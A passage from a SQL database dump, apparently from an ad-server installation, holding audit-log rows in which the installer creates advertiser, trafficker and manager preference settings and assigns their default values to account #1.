07:27:09',1,NULL,NULL),(33,1,'preferences',14,NULL,'a:4:{s:13:\"preference_id\";i:14;s:15:\"preference_name\";s:38:\"warn_email_advertiser_impression_limit\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:38:\"warn_email_advertiser_impression_limit\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(34,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:14;s:5:\"value\";i:100;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #14\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(35,1,'preferences',15,NULL,'a:4:{s:13:\"preference_id\";i:15;s:15:\"preference_name\";s:31:\"warn_email_advertiser_day_limit\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:31:\"warn_email_advertiser_day_limit\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(36,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:15;s:5:\"value\";i:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #15\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(37,1,'preferences',16,NULL,'a:4:{s:13:\"preference_id\";i:16;s:15:\"preference_name\";s:8:\"timezone\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:8:\"timezone\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(38,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:16;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #16\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(39,1,'preferences',17,NULL,'a:4:{s:13:\"preference_id\";i:17;s:15:\"preference_name\";s:22:\"tracker_default_status\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:22:\"tracker_default_status\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(40,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:17;s:5:\"value\";i:4;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #17\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(41,1,'preferences',18,NULL,'a:4:{s:13:\"preference_id\";i:18;s:15:\"preference_name\";s:20:\"tracker_default_type\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:20:\"tracker_default_type\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(42,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:18;s:5:\"value\";i:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #18\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(43,1,'preferences',19,NULL,'a:4:{s:13:\"preference_id\";i:19;s:15:\"preference_name\";s:22:\"tracker_link_campaigns\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:22:\"tracker_link_campaigns\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(44,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:19;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #19\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(45,1,'preferences',20,NULL,'a:4:{s:13:\"preference_id\";i:20;s:15:\"preference_name\";s:21:\"ui_show_campaign_info\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:21:\"ui_show_campaign_info\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(46,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:20;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #20\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(47,1,'preferences',21,NULL,'a:4:{s:13:\"preference_id\";i:21;s:15:\"preference_name\";s:19:\"ui_show_banner_info\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:19:\"ui_show_banner_info\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(48,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:21;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #21\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(49,1,'preferences',22,NULL,'a:4:{s:13:\"preference_id\";i:22;s:15:\"preference_name\";s:24:\"ui_show_campaign_preview\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:24:\"ui_show_campaign_preview\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(50,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:22;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #22\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(51,1,'preferences',23,NULL,'a:4:{s:13:\"preference_id\";i:23;s:15:\"preference_name\";s:19:\"ui_show_banner_html\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:19:\"ui_show_banner_html\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(52,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:23;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #23\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(53,1,'preferences',24,NULL,'a:4:{s:13:\"preference_id\";i:24;s:15:\"preference_name\";s:22:\"ui_show_banner_preview\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:22:\"ui_show_banner_preview\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(54,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:24;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #24\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(55,1,'preferences',25,NULL,'a:4:{s:13:\"preference_id\";i:25;s:15:\"preference_name\";s:16:\"ui_hide_inactive\";s:12:\"account_type\";s:0:\"\";s:8:\"key_desc\";s:16:\"ui_hide_inactive\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(56,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:25;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #25\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(57,1,'preferences',26,NULL,'a:4:{s:13:\"preference_id\";i:26;s:15:\"preference_name\";s:24:\"ui_show_matching_banners\";s:12:\"account_type\";s:10:\"TRAFFICKER\";s:8:\"key_desc\";s:24:\"ui_show_matching_banners\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(58,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:26;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #26\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(59,1,'preferences',27,NULL,'a:4:{s:13:\"preference_id\";i:27;s:15:\"preference_name\";s:32:\"ui_show_matching_banners_parents\";s:12:\"account_type\";s:10:\"TRAFFICKER\";s:8:\"key_desc\";s:32:\"ui_show_matching_banners_parents\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(60,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:27;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #27\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(61,1,'preferences',28,NULL,'a:4:{s:13:\"preference_id\";i:28;s:15:\"preference_name\";s:17:\"ui_show_entity_id\";s:12:\"account_type\";s:0:\"\";s:8:\"key_desc\";s:17:\"ui_show_entity_id\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(62,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:28;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #28\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(63,1,'preferences',29,NULL,'a:4:{s:13:\"preference_id\";i:29;s:15:\"preference_name\";s:14:\"ui_novice_user\";s:12:\"account_type\";s:0:\"\";s:8:\"key_desc\";s:14:\"ui_novice_user\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(64,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:29;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #29\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(65,1,'preferences',30,NULL,'a:4:{s:13:\"preference_id\";i:30;s:15:\"preference_name\";s:17:\"ui_week_start_day\";s:12:\"account_type\";s:0:\"\";s:8:\"key_desc\";s:17:\"ui_week_start_day\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(66,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:30;s:5:\"value\";i:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #30\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(67,1,'preferences',31,NULL,'a:4:{s:13:\"preference_id\";i:31;s:15:\"preference_name\";s:22:\"ui_percentage_decimals\";s:12:\"account_type\";s:0:\"\";s:8:\"key_desc\";s:22:\"ui_percentage_decimals\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(68,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:31;s:5:\"value\";i:2;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #31\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(69,1,'preferences',32,NULL,'a:4:{s:13:\"preference_id\";i:32;s:15:\"preference_name\";s:17:\"ui_column_revenue\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:17:\"ui_column_revenue\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(70,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:32;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #32\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(71,1,'preferences',33,NULL,'a:4:{s:13:\"preference_id\";i:33;s:15:\"preference_name\";s:23:\"ui_column_revenue_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:23:\"ui_column_revenue_label\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(72,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:33;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #33\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(73,1,'preferences',34,NULL,'a:4:{s:13:\"preference_id\";i:34;s:15:\"preference_name\";s:22:\"ui_column_revenue_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:22:\"ui_column_revenue_rank\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(74,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:34;s:5:\"value\";i:4;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #34\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(75,1,'preferences',35,NULL,'a:4:{s:13:\"preference_id\";i:35;s:15:\"preference_name\";s:12:\"ui_column_bv\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:12:\"ui_column_bv\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(76,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:35;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #35\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(77,1,'preferences',36,NULL,'a:4:{s:13:\"preference_id\";i:36;s:15:\"preference_name\";s:18:\"ui_column_bv_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:18:\"ui_column_bv_label\";}',0,'Installer',0,'2014-09-17 07:27:10',1,NULL,NULL),(78,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:36;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #36\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(79,1,'preferences',37,NULL,'a:4:{s:13:\"preference_id\";i:37;s:15:\"preference_name\";s:17:\"ui_column_bv_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:17:\"ui_column_bv_rank\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(80,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:37;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #37\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(81,1,'preferences',38,NULL,'a:4:{s:13:\"preference_id\";i:38;s:15:\"preference_name\";s:19:\"ui_column_num_items\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_num_items\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(82,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:38;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #38\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(83,1,'preferences',39,NULL,'a:4:{s:13:\"preference_id\";i:39;s:15:\"preference_name\";s:25:\"ui_column_num_items_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:25:\"ui_column_num_items_label\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(84,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:39;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #39\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(85,1,'preferences',40,NULL,'a:4:{s:13:\"preference_id\";i:40;s:15:\"preference_name\";s:24:\"ui_column_num_items_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:24:\"ui_column_num_items_rank\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(86,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:40;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #40\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(87,1,'preferences',41,NULL,'a:4:{s:13:\"preference_id\";i:41;s:15:\"preference_name\";s:16:\"ui_column_revcpc\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:16:\"ui_column_revcpc\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(88,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:41;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #41\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(89,1,'preferences',42,NULL,'a:4:{s:13:\"preference_id\";i:42;s:15:\"preference_name\";s:22:\"ui_column_revcpc_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:22:\"ui_column_revcpc_label\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(90,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:42;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #42\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(91,1,'preferences',43,NULL,'a:4:{s:13:\"preference_id\";i:43;s:15:\"preference_name\";s:21:\"ui_column_revcpc_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:21:\"ui_column_revcpc_rank\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(92,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:43;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #43\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(93,1,'preferences',44,NULL,'a:4:{s:13:\"preference_id\";i:44;s:15:\"preference_name\";s:14:\"ui_column_erpm\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:14:\"ui_column_erpm\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(94,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:44;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #44\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(95,1,'preferences',45,NULL,'a:4:{s:13:\"preference_id\";i:45;s:15:\"preference_name\";s:20:\"ui_column_erpm_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:20:\"ui_column_erpm_label\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(96,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:45;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #45\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(97,1,'preferences',46,NULL,'a:4:{s:13:\"preference_id\";i:46;s:15:\"preference_name\";s:19:\"ui_column_erpm_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_erpm_rank\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(98,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:46;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #46\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(99,1,'preferences',47,NULL,'a:4:{s:13:\"preference_id\";i:47;s:15:\"preference_name\";s:14:\"ui_column_erpc\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:14:\"ui_column_erpc\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(100,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:47;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #47\";}',0,'Installer',0,'2014-09-17 07:27:11',1,NULL,NULL),(101,1,'preferences',48,NULL,'a:4:{s:13:\"preference_id\";i:48;s:15:\"preference_name\";s:20:\"ui_column_erpc_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:20:\"ui_column_erpc_label\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(102,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:48;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #48\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(103,1,'preferences',49,NULL,'a:4:{s:13:\"preference_id\";i:49;s:15:\"preference_name\";s:19:\"ui_column_erpc_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_erpc_rank\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(104,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:49;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #49\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(105,1,'preferences',50,NULL,'a:4:{s:13:\"preference_id\";i:50;s:15:\"preference_name\";s:14:\"ui_column_erps\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:14:\"ui_column_erps\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(106,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:50;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #50\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(107,1,'preferences',51,NULL,'a:4:{s:13:\"preference_id\";i:51;s:15:\"preference_name\";s:20:\"ui_column_erps_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:20:\"ui_column_erps_label\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(108,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:51;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #51\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(109,1,'preferences',52,NULL,'a:4:{s:13:\"preference_id\";i:52;s:15:\"preference_name\";s:19:\"ui_column_erps_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_erps_rank\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(110,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:52;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #52\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(111,1,'preferences',53,NULL,'a:4:{s:13:\"preference_id\";i:53;s:15:\"preference_name\";s:14:\"ui_column_eipm\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:14:\"ui_column_eipm\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(112,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:53;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #53\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(113,1,'preferences',54,NULL,'a:4:{s:13:\"preference_id\";i:54;s:15:\"preference_name\";s:20:\"ui_column_eipm_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:20:\"ui_column_eipm_label\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(114,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:54;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #54\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(115,1,'preferences',55,NULL,'a:4:{s:13:\"preference_id\";i:55;s:15:\"preference_name\";s:19:\"ui_column_eipm_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_eipm_rank\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(116,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:55;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #55\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(117,1,'preferences',56,NULL,'a:4:{s:13:\"preference_id\";i:56;s:15:\"preference_name\";s:14:\"ui_column_eipc\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:14:\"ui_column_eipc\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(118,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:56;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #56\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(119,1,'preferences',57,NULL,'a:4:{s:13:\"preference_id\";i:57;s:15:\"preference_name\";s:20:\"ui_column_eipc_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:20:\"ui_column_eipc_label\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(120,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:57;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #57\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(121,1,'preferences',58,NULL,'a:4:{s:13:\"preference_id\";i:58;s:15:\"preference_name\";s:19:\"ui_column_eipc_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_eipc_rank\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(122,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:58;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #58\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(123,1,'preferences',59,NULL,'a:4:{s:13:\"preference_id\";i:59;s:15:\"preference_name\";s:14:\"ui_column_eips\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:14:\"ui_column_eips\";}',0,'Installer',0,'2014-09-17 07:27:12',1,NULL,NULL),(124,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:59;s:5:\"value\";b:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #59\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(125,1,'preferences',60,NULL,'a:4:{s:13:\"preference_id\";i:60;s:15:\"preference_name\";s:20:\"ui_column_eips_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:20:\"ui_column_eips_label\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(126,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:60;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #60\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(127,1,'preferences',61,NULL,'a:4:{s:13:\"preference_id\";i:61;s:15:\"preference_name\";s:19:\"ui_column_eips_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_eips_rank\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(128,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:61;s:5:\"value\";i:0;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #61\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(129,1,'preferences',62,NULL,'a:4:{s:13:\"preference_id\";i:62;s:15:\"preference_name\";s:14:\"ui_column_ecpm\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:14:\"ui_column_ecpm\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(130,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:62;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #62\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(131,1,'preferences',63,NULL,'a:4:{s:13:\"preference_id\";i:63;s:15:\"preference_name\";s:20:\"ui_column_ecpm_label\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:20:\"ui_column_ecpm_label\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(132,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:63;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:28:\"Account #1 -> Preference #63\";}',0,'Installer',0,'2014-09-17 07:27:13',1,NULL,NULL),(133,1,'preferences',64,NULL,'a:4:{s:13:\"preference_id\";i:64;s:15:\"preference_name\";s:19:\"ui_column_ecpm_rank\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:19:\"ui_column_ecpm_rank\";}',0,'Installer',0,'2014-09-17 